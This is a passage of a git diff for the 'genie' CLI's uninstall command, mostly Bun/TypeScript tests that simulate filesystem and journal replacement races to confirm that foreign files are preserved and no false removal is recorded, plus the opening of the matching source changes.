manifest.files['scout.md'] = { ...manifest.files['scout.md']!, digest: changedDigest }; writeFileSync(manifestPath, `${JSON.stringify(manifest, null, 2)}\n`); }, @@ -1048,8 +1099,8 @@ describe('agent-sync managed-asset removal', () => { const manifest = readAgentFilesManifest(parent); if (manifest === null) throw new Error('fixture manifest missing'); manifest.files['missing.md'] = { - digest: 'deadbeef', - version: '1', + digest: 'd'.repeat(64), + version: '1.0.0', syncedAt: '2026-07-11T10:00:00.000Z', }; writeFileSync(join(parent, '.genie-sync.json'), `${JSON.stringify(manifest, null, 2)}\n`, 'utf8'); @@ -1133,6 +1184,215 @@ describe('agent-sync managed-asset removal', () => { expect(existsSync(join(displacedHome, '.agent-sync.lock'))).toBe(true); }); + test('compatibility uninstall preserves nested foreign bytes when the original child inode transits a replacement root', () => { + const originalPayload = join(genieHome, 'plugins', 'genie', 'payload.txt'); + mkdirSync(dirname(originalPayload), { recursive: true }); + writeFileSync(originalPayload, 'original\n'); + const displacedHome = join(tmp, 'displaced-home'); + const displacedForeignHome = join(tmp, 'displaced-foreign-home'); + const foreignBytes = Buffer.from('foreign must survive\n'); + const output: string[] = []; + let capturedPath: string | null = null; + let swapped = false; + const log = spyOn(console, 'log').mockImplementation((...args: unknown[]) => { + output.push(args.map(String).join(' ')); + }); + + try { + performUninstall(false, [], genieHome, true, false, false, { + agentSyncTargets: targets(), + removeRuntimeIntegrations: () => {}, + genieHomeRemoval: { + beforeEntryCapture: () => { + if (swapped) return; + swapped = true; + renameSync(genieHome, displacedHome); + mkdirSync(genieHome); + // Move A's already-authorized top-level inode into replacement root + // B, then add foreign nested bytes beneath that SAME inode. + renameSync(join(displacedHome, 'plugins'), join(genieHome, 'plugins')); + writeFileSync(join(genieHome, 'plugins', 'FOREIGN.txt'), foreignBytes); + writeFileSync(join(genieHome, 'root-marker.txt'), foreignBytes); + }, + afterEntryCapture: (_entry, captured) => { + capturedPath = captured; + renameSync(genieHome, displacedForeignHome); + renameSync(displacedHome, genieHome); + }, + }, + }); + } finally { + log.mockRestore(); + } + + expect(swapped).toBe(true); + expect(readFileSync(join(displacedForeignHome, 'root-marker.txt'))).toEqual(foreignBytes); + const preservedCapture = requireCapturedPath(capturedPath); + expect(readFileSync(join(preservedCapture, 'FOREIGN.txt'))).toEqual(foreignBytes); + expect(readFileSync(join(preservedCapture, 'genie', 'payload.txt'), 'utf8')).toBe('original\n'); + expect( + output.some((line) => line.includes('captured Genie install tree changed from its exact root-bound snapshot')), + ).toBe(true); + expect(output.some((line) => line.includes('Install state removed'))).toBe(false); + }); + + test('authenticated production batch preserves nested foreign bytes when the original child inode transits B', () => { + const originalPayload = join(genieHome, 'plugins', 'genie', 'payload.txt'); + mkdirSync(dirname(originalPayload), { recursive: true }); + writeFileSync(originalPayload, 'original\n'); + const displacedHome = join(tmp, 'batch-displaced-home'); + const displacedForeignHome = join(tmp, 'batch-displaced-foreign-home'); + const foreignBytes = Buffer.from('batch foreign must survive\n'); + let capturedPath: string | null = null; + let swapped = false; + + const outcome = withIsolatedHomes(() => + performFreshUninstallPlan(genieHome, false, { + beforeEntryCapture: () => { + if (swapped) return; + swapped = true; + renameSync(genieHome, displacedHome); + mkdirSync(genieHome); + renameSync(join(displacedHome, 'plugins'), join(genieHome, 'plugins')); + writeFileSync(join(genieHome, 'plugins', 'FOREIGN.txt'), foreignBytes); + writeFileSync(join(genieHome, 'root-marker.txt'), foreignBytes); + }, + afterEntryCapture: (_entry, captured) => { + capturedPath = captured; + renameSync(genieHome, displacedForeignHome); + renameSync(displacedHome, genieHome); + }, + }), + ); + + expect(swapped).toBe(true); + expect( + outcome.result.failures.some((failure) => + failure.detail.includes('captured Genie install tree changed from its exact root-bound snapshot'), + ), + ).toBe(true); + expect(readFileSync(join(displacedForeignHome, 'root-marker.txt'))).toEqual(foreignBytes); + const preservedCapture = requireCapturedPath(capturedPath); + expect(readFileSync(join(preservedCapture, 'FOREIGN.txt'))).toEqual(foreignBytes); + expect(readFileSync(join(preservedCapture, 'genie', 'payload.txt'), 'utf8')).toBe('original\n'); + const homeMember = uninstallBatchMemberId('home', resolve(genieHome)); + expect(readUninstallBatchDecision(genieHome)?.progress.completed).not.toContain(homeMember); + expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(true); + }); + + test('authenticated home commitment rejects a same-root descendant inserted after planning', () => { + const payload = join(genieHome, 'plugins', 'genie', 'payload.txt'); + const foreign = join(genieHome, 'plugins', 'FOREIGN.txt'); + const foreignBytes = Buffer.from('same-run foreign must survive\n'); + mkdirSync(dirname(payload), { recursive: true }); + writeFileSync(payload, 'planned source\n'); + let injected = false; + + const outcome = withIsolatedHomes(() => + performFreshUninstallPlan(genieHome, false, { + beforeRemovalSnapshot: () => { + if (injected) return; + injected = true; + writeFileSync(foreign, foreignBytes); + }, + }), + ); + + expect(injected).toBe(true); + expect( + outcome.result.failures.some((failure) => + failure.detail.includes('changed after its authenticated removal commitment'), + ), + ).toBe(true); + expect(readFileSync(foreign)).toEqual(foreignBytes); + expect(readFileSync(payload, 'utf8')).toBe('planned source\n'); + const homeMember = uninstallBatchMemberId('home', resolve(genieHome)); + expect(readUninstallBatchDecision(genieHome)?.progress.completed).not.toContain(homeMember); + expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(true); + }); + + test('pending authenticated home commitment never widens to a descendant added before retry', () => { + const payload = join(genieHome, 'plugins', 'genie', 'payload.txt'); + const foreign = join(genieHome, 'plugins', 'FOREIGN-on-retry.txt'); + const foreignBytes = Buffer.from('pending-batch foreign must survive\n'); + mkdirSync(dirname(payload), { recursive: true }); + writeFileSync(payload, 'planned before interruption\n'); + const execution = withIsolatedHomes(() => inspectUninstallPlan(genieHome, false)); + if (execution.genieHomeIdentity === null || execution.genieHomeRemovalDigest === null) { + throw new Error('fixture did not produce Genie home removal authority'); + } + const pendingScope: UninstallBatchScope = { + agentAssets: [], + codexRoleAgents: [], + codexRoleInventoryStatus: 'missing', + genieHomeIdentity: execution.genieHomeIdentity, + genieHomeRemovalDigest: execution.genieHomeRemovalDigest, + ownedRules: null, + removeMarketplace: false, + runtimeClients: { codex: false, claude: false }, + runtimePlugins: { codex: false, claude: false }, + symlinks: [], + }; + recordUninstallBatchDecision(genieHome, pendingScope); + writeFileSync(foreign, foreignBytes); + + const firstRetry = withIsolatedHomes(() => performFreshUninstallPlan(genieHome, false)); + const secondRetry = withIsolatedHomes(() => performFreshUninstallPlan(genieHome, false)); + + for (const retry of [firstRetry, secondRetry]) { + expect( + retry.result.failures.some((failure) => + failure.detail.includes('changed after its authenticated removal commitment'), + ), + ).toBe(true); + } + expect(readFileSync(foreign)).toEqual(foreignBytes); + expect(readFileSync(payload, 'utf8')).toBe('planned before interruption\n'); + const decision = readUninstallBatchDecision(genieHome); + expect(decision?.scope.genieHomeRemovalDigest).toBe(execution.genieHomeRemovalDigest); + expect(decision?.progress.completed).not.toContain(uninstallBatchMemberId('home', resolve(genieHome))); + expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(true); + }); + + test('late nested insertion survives the final non-recursive rmdir check without a completion receipt', () => { + const payload = join(genieHome, 'plugins', 'genie', 'payload.txt'); + const foreignBytes = Buffer.from('late foreign must survive\n'); + mkdirSync(dirname(payload), { recursive: true }); + writeFileSync(payload, 'planned source\n'); + let foreign: string | null = null; + + const outcome = withIsolatedHomes(() => + performFreshUninstallPlan(genieHome, false, { + beforeDirectoryRemoval: (directory) => { + if (foreign !== null) return; + foreign = join(directory, 'LATE-FOREIGN.txt'); + writeFileSync(foreign, foreignBytes); + }, + }), + ); + + const preservedForeign = requireCapturedPath(foreign); + expect(readFileSync(preservedForeign)).toEqual(foreignBytes); + expect(outcome.result.failures.some((failure) => failure.detail.includes('ENOTEMPTY'))).toBe(true); + const homeMember = uninstallBatchMemberId('home', resolve(genieHome)); + expect(readUninstallBatchDecision(genieHome)?.progress.completed).not.toContain(homeMember); + expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(true); + }); + + test('authenticated uninstall rejects truncated ownership state before source removal', () => { + const originalPayload = join(genieHome, 'plugins', 'genie', 'payload.txt'); + mkdirSync(dirname(originalPayload), { recursive: true }); + writeFileSync(originalPayload, 'keep source\n'); + const agentsDir = join(claudeDir, 'agents'); + mkdirSync(agentsDir, { recursive: true }); + writeFileSync(join(agentsDir, '.genie-sync.json'), '{"managedBy":"genie-agent-sync","files":{'); + + expect(() => withIsolatedHomes(() => performFreshUninstallPlan(genieHome, false))).toThrow( + 'Claude agent ownership manifest is unsafe', + ); + expect(readFileSync(originalPayload, 'utf8')).toBe('keep source\n'); + }); + test('INV1: uninstall preserves captured bytes mutated after validation instead of discarding them', () => { const scout = managedAgent('scout.md', '# shipped scout\n'); const agentsDir = join(claudeDir, 'agents'); @@ -1165,7 +1425,13 @@ describe('agent-sync managed-asset removal', () => { const manifestPath = join(agentsDir, '.genie-sync.json'); const replacement = { managedBy: MANAGED_BY, - files: { 'scout.md': { digest: 'replacement-owner', version: '2', syncedAt: 'later' } }, + files: { + 'scout.md': { + digest: 'e'.repeat(64), + version: '2.0.0', + syncedAt: '2026-07-11T11:00:00.000Z', + }, + }, }; const replacementBytes = Buffer.from(`${JSON.stringify(replacement, null, 2)}\n`); @@ -1254,7 +1520,7 @@ describe('durable uninstall batch', () => { let genieHome: string; // The journal-mechanics tests exercise member ids (path-based), not physical - // removal, so a synthetic-but-valid skill identity satisfies the v2 schema. + // removal, so a synthetic-but-valid skill identity satisfies the v3 schema. const syntheticSkillIdentity = { kind: 'skill' as const, contentDigest: 'a'.repeat(64), @@ -1266,8 +1532,9 @@ describe('durable uninstall batch', () => { agentAssets: agentPaths.map((path) => ({ path, disposition: 'remove', identity: syntheticSkillIdentity })), codexRoleAgents: [], codexRoleInventoryStatus: 'missing', - genieHomePresent: false, - ownedRulesPath: null, + genieHomeIdentity: null, + genieHomeRemovalDigest: null, + ownedRules: null, removeMarketplace: false, runtimeClients: { codex: false, claude: false }, runtimePlugins: { codex: false, claude: false }, @@ -1302,6 +1569,76 @@ describe('durable uninstall batch', () => { return journalPath; } + /** Write an authentic legacy v2 journal whose pathname boolean grants no v3 deletion authority. */ + function writeLegacyV2Journal(active: string | null = null): string { + const payload = { + schemaVersion: 2 as const, + genieHome: resolve(genieHome), + scope: { + agentAssets: [] as unknown[], + codexRoleAgents: [] as unknown[], + codexRoleInventoryStatus: 'missing', + genieHomePresent: true, + ownedRulesPath: null, + removeMarketplace: false, + runtimeClients: { codex: false, claude: false }, + runtimePlugins: { codex: false, claude: false }, + symlinks: [] as unknown[], + }, + progress: { active, completed: [] as unknown[], preserved: [] as unknown[] }, + }; + const digest = createHash('sha256').update(JSON.stringify(payload)).digest('hex'); + const journalPath = uninstallBatchJournalPath(genieHome); + mkdirSync(dirname(journalPath), { recursive: true, mode: 0o700 }); + writeFileSync(journalPath, `${JSON.stringify({ ...payload, digest }, null, 2)}\n`, { mode: 0o600 }); + return journalPath; + } + + function journalReplacementRace( + boundary: 'beforeCapture' | 'afterCapture', + caseName: string, + replacementBytes: Buffer, + ): { + displacedPath: string; + wasInvoked: () => boolean; + options: { + beforeCapture?: (journalPath: string) => void; + afterCapture?: (journalPath: string) => void; + }; + } { + const displacedPath = join(root, `${caseName}-authenticated-original.json`); + let invoked = false; + const replace = (journalPath: string) => { + invoked = true; + if (boundary === 'beforeCapture') renameSync(journalPath, displacedPath); + writeFileSync(journalPath, replacementBytes, { flag: 'wx', mode: 0o600 }); + }; + return { + displacedPath, + wasInvoked: () => invoked, + options: boundary === 'beforeCapture' ? { beforeCapture: replace } : { afterCapture: replace }, + }; + } + + function expectRetainedJournalRaceEvidence( + journalPath: string, + boundary: 'beforeCapture' | 'afterCapture', + displacedPath: string, + quarantineLabel: 'journal-discard' | 'journal-progress' | 'journal-clear', + replacementBytes: Buffer, + ): void { + expect(readFileSync(journalPath).equals(replacementBytes)).toBe(true); + if (boundary === 'beforeCapture') { + expect(existsSync(displacedPath)).toBe(true); + return; + } + const quarantine = readdirSync(dirname(journalPath)).find((name) => + name.startsWith(`.genie-uninstall-${quarantineLabel}-`), + ); + expect(quarantine).toBeDefined(); + expect(existsSync(join(dirname(journalPath), quarantine as string, 'captured'))).toBe(true); + } + beforeEach(() => { root = mkdtempSync(join(tmpdir(), 'uninstall-batch-')); genieHome = join(root, 'home', '.genie'); @@ -1392,6 +1729,52 @@ describe('durable uninstall batch', () => { expect(readUninstallBatchDecision(genieHome)?.progress.active).toBe(member); }); + test('a returned partial flat-agent failure clears its active receipt so retry can converge', () => { + const firstAsset = join(root, 'claude', 'agents', 'reviewer.md'); + const secondAsset = join(root, 'claude', 'agents', 'scout.md'); + mkdirSync(dirname(firstAsset), { recursive: true }); + writeFileSync(firstAsset, '# reviewer\n'); + writeFileSync(secondAsset, '# scout\n'); + const plannedScope = scope(); + plannedScope.agentAssets = [firstAsset, secondAsset].map((path) => ({ + path, + disposition: 'remove' as const, + identity: { + kind: 'agent' as const, + ownedDigest: 'a'.repeat(64), + snapshot: { kind: 'file' as const, digest: 'a'.repeat(64), mode: 0o600 }, + }, + })); + const member = uninstallBatchMemberId('asset', `flat-agents:${[firstAsset, secondAsset].sort().join('\n')}`); + + const first = executeUninstallBatch(genieHome, plannedScope, (_decisionScope, progress) => { + progress.begin(member); + rmSync(firstAsset); + // Mirrors removeFlatAgentBatch after removeAgentSyncAssetsLocked returns a + // structured partial result: completed effects are durable, no syscall is + // still in flight, and retry authority must remain available. + progress.abort(member); + return { failures: [{ step: 'Removing flat agent', detail: 'injected reviewer failure' }] }; + }); + + expect(first.result.failures).toHaveLength(1); + expect(readUninstallBatchDecision(genieHome)?.progress.active).toBeNull(); + expect(existsSync(firstAsset)).toBe(false); + expect(existsSync(secondAsset)).toBe(true); + + const retried = executeUninstallBatch(genieHome, plannedScope, (_decisionScope, progress) => { + progress.begin(member); + expect(existsSync(firstAsset)).toBe(false); // already-removed slot is an idempotent no-op + rmSync(secondAsset); + progress.complete(member); + return { failures: [] }; + }); + + expect(retried.result.failures).toEqual([]); + expect(existsSync(secondAsset)).toBe(false); + expect(readUninstallBatchDecision(genieHome)).toBeNull(); + }); + test('never clears a batch while a requested member lacks a completion receipt', () => { const asset = join(root, 'unreceipted-asset'); const plannedScope = scope([asset]); @@ -1515,7 +1898,7 @@ describe('durable uninstall batch', () => { expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(false); }); - test('an authentic legacy v1 journal is discarded and re-recorded as v2, then execution proceeds', () => { + test('an authentic legacy v1 journal is discarded and re-recorded as v3, then execution proceeds', () => { const asset = join(root, 'legacy-asset'); mkdirSync(asset, { recursive: true }); writeLegacyV1Journal(); @@ -1524,19 +1907,32 @@ describe('durable uninstall batch', () => { const outcome = executeUninstallBatch(genieHome, scope([asset]), (decisionScope, progress) => { events.push('cleanup'); - // The fresh v2 scope is the CURRENT live scope, not the empty migrated v1 one. + // The fresh v3 scope is the CURRENT live scope, not the empty migrated v1 one. expect(decisionScope.agentAssets.map((a) => a.path)).toEqual([asset]); progress.begin(member); progress.complete(member); return { failures: [] }; }); - expect(outcome.decision.schemaVersion).toBe(2); + expect(outcome.decision.schemaVersion).toBe(3); expect(outcome.result.failures).toEqual([]); expect(events).toEqual(['cleanup']); expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(false); }); + test('an authentic legacy v2 pathname journal is re-planned as v3 before execution', () => { + writeLegacyV2Journal(); + const outcome = executeUninstallBatch(genieHome, scope(), (decisionScope) => { + expect(decisionScope.genieHomeIdentity).toBeNull(); + return { failures: [] }; + }); + + expect(outcome.decision.schemaVersion).toBe(3); + expect(outcome.result.failures).toEqual([]); + expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(false); + expect(existsSync(genieHome)).toBe(true); + }); + test('a migrated legacy v1 journal with an interrupted member surfaces a note', () => { const staleMember = uninstallBatchMemberId('asset', join(root, 'stale-asset')); writeLegacyV1Journal(staleMember); @@ -1556,6 +1952,49 @@ describe('durable uninstall batch', () => { expect(() => executeUninstallBatch(genieHome, scope(), () => ({ failures: [] }))).toThrow('authentication failed'); expect(existsSync(journalPath)).toBe(true); }); + + for (const boundary of ['beforeCapture', 'afterCapture'] as const) { + test(`legacy journal discard refuses a ${boundary} pathname replacement without clobbering it`, () => { + const journalPath = writeLegacyV1Journal(); + const replacementBytes = Buffer.from(`foreign legacy replacement at ${boundary}\n`); + const race = journalReplacementRace(boundary, `discard-${boundary}`, replacementBytes); + + expect(() => discardLegacyUninstallBatchDecision(genieHome, race.options)).toThrow(); + expect(race.wasInvoked()).toBe(true); + + expectRetainedJournalRaceEvidence(journalPath, boundary, race.displacedPath, 'journal-discard', replacementBytes); + }); + + test(`progress update refuses a ${boundary} pathname replacement without clobbering it`, () => { + const decision = recordUninstallBatchDecision(genieHome, scope()); + const journalPath = uninstallBatchJournalPath(genieHome); + const replacementBytes = Buffer.from(`foreign progress replacement at ${boundary}\n`); + const race = journalReplacementRace(boundary, `progress-${boundary}`, replacementBytes); + + expect(() => updateUninstallBatchProgress(genieHome, decision.digest, decision.progress, race.options)).toThrow(); + expect(race.wasInvoked()).toBe(true); + + expectRetainedJournalRaceEvidence( + journalPath, + boundary, + race.displacedPath, + 'journal-progress', + replacementBytes, + ); + }); + + test(`final journal clear refuses a ${boundary} pathname replacement without clobbering it`, () => { + const decision = recordUninstallBatchDecision(genieHome, scope()); + const journalPath = uninstallBatchJournalPath(genieHome); + const replacementBytes = Buffer.from(`foreign clear replacement at ${boundary}\n`); + const race = journalReplacementRace(boundary, `clear-${boundary}`, replacementBytes); + + expect(() => clearUninstallBatchDecision(genieHome, decision.digest, race.options)).toThrow(); + expect(race.wasInvoked()).toBe(true); + + expectRetainedJournalRaceEvidence(journalPath, boundary, race.displacedPath, 'journal-clear', replacementBytes); + }); + } }); describe('durable runtime integration allowlist', () => { @@ -1566,8 +2005,9 @@ describe('durable runtime integration allowlist', () => { { name: 'genie-review.toml', disposition: 'remove', identity: { digest: 'a'.repeat(64), mode: 0o600 } }, ], codexRoleInventoryStatus: 'valid', - genieHomePresent: true, - ownedRulesPath: null, + genieHomeIdentity: { dev: 1, ino: 1, mode: 0o40700 }, + genieHomeRemovalDigest: 'f'.repeat(64), + ownedRules: null, removeMarketplace: false, runtimeClients: { codex: true, claude: true }, runtimePlugins: { codex: false, claude: true }, @@ -1631,7 +2071,7 @@ describe('uninstall ownership and work detection', () => { expect(isGenieSymlink(owned, genieHome)).toBe(true); expect(isGenieSymlink(foreign, genieHome)).toBe(false); const result = removeSymlinks(localBin, genieHome); - expect(result).toEqual({ removed: ['genie'], failures: [] }); + expect(result).toEqual({ removed: ['genie'], preserved: [], failures: [] }); expect(lstatSync(foreign).isSymbolicLink()).toBe(true); expect(isGenieSymlink(foreign, genieHome)).toBe(false); }); @@ -1645,7 +2085,11 @@ describe('uninstall ownership and work detection', () => { symlinkSync(join(genieHome, 'bin', 'genie'), genieLink); symlinkSync(join(genieHome, 'bin', 'term'), laterTermLink); - expect(removeSymlinks(localBin, genieHome, ['genie'])).toEqual({ removed: ['genie'], failures: [] }); + expect(removeSymlinks(localBin, genieHome, ['genie'])).toEqual({ + removed: ['genie'], + preserved: [], + failures: [], + }); expect(existsSync(genieLink)).toBe(false); expect(lstatSync(laterTermLink).isSymbolicLink()).toBe(true); }); @@ -1672,6 +2116,7 @@ describe('uninstall ownership and work detection', () => { let present = false; const inspectors = { hasGenieDir: () => present, + captureGenieHomeIdentity: () => (present ? { dev: 1, ino: 1, mode: 0o40700 } : null), hookScriptExists: () => false, detectV4Install: () => ({ rulesFile: { path: join(root, 'rules.md'), status: 'absent' as const }, @@ -1719,3 +2164,248 @@ describe('uninstall ownership and work detection', () => { ).toBe(true); }); }); + +describe('atomic external uninstall captures', () => { + let root: string; + + beforeEach(() => { + root = mkdtempSync(join(tmpdir(), 'uninstall-capture-races-')); + }); + afterEach(() => rmSync(root, { recursive: true, force: true })); + + function rulesIdentity(path: string): ProvenV4Rules { + const stat = lstatSync(path); + return { + path: resolve(path), + digest: createHash('sha256').update(readFileSync(path)).digest('hex'), + identity: { dev: stat.dev, ino: stat.ino, mode: stat.mode }, + }; + } + + function scope(options: { + rules?: ProvenV4Rules; + symlinks?: UninstallBatchScope['symlinks']; + }): UninstallBatchScope { + return { + agentAssets: [], + codexRoleAgents: [], + codexRoleInventoryStatus: 'missing', + genieHomeIdentity: null, + genieHomeRemovalDigest: null, + ownedRules: options.rules ?? null, + removeMarketplace: false, + runtimeClients: { codex: false, claude: false }, + runtimePlugins: { codex: false, claude: false }, + symlinks: options.symlinks ?? [], + }; + } + + test('direct source-link capture restores a regular-file replacement and reports no removal', () => { + const genieHome = join(root, 'genie'); + const localBin = join(root, 'bin'); + const link = join(localBin, 'genie'); + const parked = join(root, 'parked-link'); + mkdirSync(localBin, { recursive: true }); + symlinkSync(join(genieHome, 'bin', 'genie'), link); + + const result = removeSymlinks(localBin, genieHome, ['genie'], { + beforeCapture(path) { + renameSync(path, parked); + writeFileSync(path, 'foreign-source-link\n'); + }, + }); + + expect(result.removed).toEqual([]); + expect(result.preserved).toEqual(['genie']); + expect(result.failures).toHaveLength(1); + expect(readFileSync(link, 'utf8')).toBe('foreign-source-link\n'); + expect(lstatSync(parked).isSymbolicLink()).toBe(true); + }); + + test('authenticated source-link swap records preservation, never completion', () => { + const genieHome = join(root, 'genie'); + const localBin = join(root, 'bin'); + const link = join(localBin, 'genie'); + mkdirSync(localBin, { recursive: true }); + symlinkSync(join(genieHome, 'bin', 'genie'), link); + const stat = lstatSync(link); + const planned = { + name: 'genie' as const, + target: readlinkSync(link), + identity: { dev: stat.dev, ino: stat.ino, mode: stat.mode }, + }; + const member = uninstallBatchMemberId('symlink', 'genie'); + + const outcome = executeUninstallBatch(genieHome, scope({ symlinks: [planned] }), (_scope, progress) => { + const result: UninstallResult = { failures: [], preserved: [], notes: [] }; + result.failures.push( + ...removeSymlinkMembers(genieHome, [planned], result, progress, localBin, { + beforeCapture(path) { + renameSync(path, join(root, 'parked-batch-link')); + writeFileSync(path, 'foreign-batch-link\n'); + }, + }), + ); + return result; + }); + + expect(outcome.result.failures).toEqual([]); + expect(outcome.decision.progress.completed).not.toContain(member); + expect(outcome.decision.progress.preserved).toContain(member); + expect(readFileSync(link, 'utf8')).toBe('foreign-batch-link\n'); + }); + + test('Hermes boundary replacement is kept as an identity mismatch', () => { + const claudeDir = join(root, 'claude'); + const codexDir = join(root, 'codex'); + const agentsSkillsDir = join(root, 'agents-skills'); + const hermesHome = join(root, 'hermes'); + const genieHome = join(root, 'genie'); + const link = join(hermesHome, 'plugins', 'genie'); + mkdirSync(dirname(link), { recursive: true }); + symlinkSync(join(genieHome, 'plugins', 'hermes-genie'), link); + const targets = { claudeDir, codexDir, agentsSkillsDir, hermesHome, genieHome }; + const identity = collectAgentSyncAssets(targets).find((asset) => asset.path === link)?.identity; + if (identity?.kind !== 'link') throw new Error('expected Hermes link identity'); + + const result = removeAgentSyncAssets(targets, { + plannedAssets: [{ path: link, identity }], + beforeManagedLinkCapture(path) { + renameSync(path, join(root, 'parked-hermes-link')); + writeFileSync(path, 'foreign-hermes\n'); + }, + }); + + expect(result.failures).toEqual([]); + expect(result.removed).toEqual([]); + expect(result.identityMismatch).toEqual([link]); + expect(readFileSync(link, 'utf8')).toBe('foreign-hermes\n'); + }); + + test('authenticated Hermes replacement records preservation and clears the settled batch', () => { + const claudeDir = join(root, 'claude'); + const codexDir = join(root, 'codex'); + const agentsSkillsDir = join(root, 'agents-skills'); + const hermesHome = join(root, 'hermes'); + const genieHome = join(root, 'genie'); + const link = join(hermesHome, 'plugins', 'genie'); + const ownedTarget = join(genieHome, 'plugins', 'hermes-genie'); + const foreignTarget = join(root, 'foreign-hermes-plugin'); + mkdirSync(dirname(link), { recursive: true }); + mkdirSync(foreignTarget, { recursive: true }); + symlinkSync(ownedTarget, link); + const targets = { claudeDir, codexDir, agentsSkillsDir, hermesHome, genieHome }; + const identity = collectAgentSyncAssets(targets).find((asset) => asset.path === link)?.identity; + if (identity?.kind !== 'link') throw new Error('expected Hermes link identity'); + const plannedScope = scope({}); + plannedScope.agentAssets = [{ path: link, disposition: 'remove', identity }]; + const priorEnvironment = { + GENIE_HOME: process.env.GENIE_HOME, + CLAUDE_CONFIG_DIR: process.env.CLAUDE_CONFIG_DIR, + CODEX_HOME: process.env.CODEX_HOME, + HERMES_HOME: process.env.HERMES_HOME, + GENIE_AGENTS_SKILLS_DIR: process.env.GENIE_AGENTS_SKILLS_DIR, + }; + + try { + process.env.GENIE_HOME = genieHome; + process.env.CLAUDE_CONFIG_DIR = claudeDir; + process.env.CODEX_HOME = codexDir; + process.env.HERMES_HOME = hermesHome; + process.env.GENIE_AGENTS_SKILLS_DIR = agentsSkillsDir; + recordUninstallBatchDecision(genieHome, plannedScope); + rmSync(link); + symlinkSync(foreignTarget, link); + + const outcome = performFreshUninstallPlan(genieHome, false); + + expect(outcome.result.failures).toEqual([]); + expect(outcome.result.preserved?.some((receipt) => receipt.step.includes('Preserving synced asset'))).toBe(true); + expect(readUninstallBatchDecision(genieHome)).toBeNull(); + expect(existsSync(uninstallBatchJournalPath(genieHome))).toBe(false); + expect(lstatSync(link).isSymbolicLink()).toBe(true); + expect(readlinkSync(link)).toBe(foreignTarget); + } finally { + for (const [name, value] of Object.entries(priorEnvironment)) { + if (value === undefined) delete process.env[name]; + else process.env[name] = value; + } + } + }); + + test('v4 replacement at capture becomes a durable preserved receipt', () => { + const genieHome = join(root, 'genie'); + const path = join(root, 'rules.md'); + writeFileSync(path, 'owned-rules\n'); + const planned = rulesIdentity(path); + const member = uninstallBatchMemberId('rules', path); + + const outcome = executeUninstallBatch(genieHome, scope({ rules: planned }), (_scope, progress) => { + const result: UninstallResult = { failures: [], preserved: [], notes: [] }; + const failure = removeRulesMember(genieHome, planned, result, progress, { + beforeCapture(livePath) { + renameSync(livePath, join(root, 'parked-rules')); + writeFileSync(livePath, 'foreign-rules\n'); + }, + }); + if (failure !== null) result.failures.push(failure); + return result; + }); + + expect(outcome.result.failures).toEqual([]); + expect(outcome.decision.progress.completed).not.toContain(member); + expect(outcome.decision.progress.preserved).toContain(member); + expect(readFileSync(path, 'utf8')).toBe('foreign-rules\n'); + }); + + test('v4 replacement after backup survives and prevents a false removal', () => { + const genieHome = join(root, 'genie'); + const path = join(root, 'rules.md'); + writeFileSync(path, 'owned-after-backup\n'); + const planned = rulesIdentity(path); + let backup = ''; + + expect(() => + removeProvenV4Rules(genieHome, planned, { + afterBackup(livePath, backupPath) { + backup = backupPath; + writeFileSync(livePath, 'foreign-after-backup\n'); + }, + }), + ).toThrow('replacement appeared'); + expect(readFileSync(path, 'utf8')).toBe('foreign-after-backup\n'); + expect(readFileSync(backup, 'utf8')).toBe('owned-after-backup\n'); + }); + + test('v4 absent completes idempotently while preexisting changed content is preserved', () => { + const absentHome = join(root, 'absent-home'); + const absentPath = join(root, 'absent-rules.md'); + writeFileSync(absentPath, 'owned-absent\n'); + const absent = rulesIdentity(absentPath); + rmSync(absentPath); + const absentMember = uninstallBatchMemberId('rules', absentPath); + const absentOutcome = executeUninstallBatch(absentHome, scope({ rules: absent }), (_scope, progress) => { + const result: UninstallResult = { failures: [], preserved: [], notes: [] }; + const failure = removeRulesMember(absentHome, absent, result, progress); + if (failure !== null) result.failures.push(failure); + return result; + }); + expect(absentOutcome.decision.progress.completed).toContain(absentMember); + + const changedHome = join(root, 'changed-home'); + const changedPath = join(root, 'changed-rules.md'); + writeFileSync(changedPath, 'owned-before-change\n'); + const changed = rulesIdentity(changedPath); + writeFileSync(changedPath, 'foreign-preexisting-change\n'); + const changedMember = uninstallBatchMemberId('rules', changedPath); + const changedOutcome = executeUninstallBatch(changedHome, scope({ rules: changed }), (_scope, progress) => { + const result: UninstallResult = { failures: [], preserved: [], notes: [] }; + const failure = removeRulesMember(changedHome, changed, result, progress); + if (failure !== null) result.failures.push(failure); + return result; + }); + expect(changedOutcome.decision.progress.completed).not.toContain(changedMember); + expect(changedOutcome.decision.progress.preserved).toContain(changedMember); + expect(readFileSync(changedPath, 'utf8')).toBe('foreign-preexisting-change\n'); + }); +}); diff --git a/src/genie-commands/uninstall.ts b/src/genie-commands/uninstall.ts index 4d1d20c81..39121ee91 100644 --- a/src/genie-commands/uninstall.ts +++ b/src/genie-commands/uninstall.ts @@ -12,18 +12,19 @@ import { type Dirent, type Stats, closeSync, - copyFileSync, existsSync, fsyncSync, linkSync, lstatSync, mkdirSync, + mkdtempSync, openSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, + rmdirSync, unlinkSync, writeFileSync, } from 'node:fs'; @@ -34,12 +35,14 @@ import { z } from 'zod'; import { AGENT_SYNC_LOCK_NAME, type AgentFileMutationEvent, + type AgentFilesManifestView, type AgentManifestCommitEvent, type AgentPathSnapshot, CODEX_FALLBACK_RETIREMENT_ROOT, type FlatAgentOp, type FlatAgentOutcome, KEPT_SUFFIX, + MANIFEST_NAME, TARGET_NAME, acquireAgentSyncLock, acquireLifecycleLease, @@ -48,7 +51,7 @@ import { codexLegacyCuratedDir, inspectManagedSkillTree, inspectManagedWorkflow, - readAgentFilesManifest, + readAgentFilesManifestState, recoverManagedSkillTransactions, recoverManagedWorkflowTransactions, removeManagedSkillTree, @@ -99,6 +102,35 @@ const digestSchema = z.string().regex(/^[a-f0-9]{64}$/); const physicalModeSchema = z.number().int().min(0).max(0o7777); const codexRoleNameSchema = z.string().regex(/^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/); const agentOwnedDigestSchema = z.string().min(1).max(256); +const physicalRootIdentitySchema = z + .object({ + dev: z.number().int().nonnegative(), + ino: z.number().int().nonnegative(), + mode: 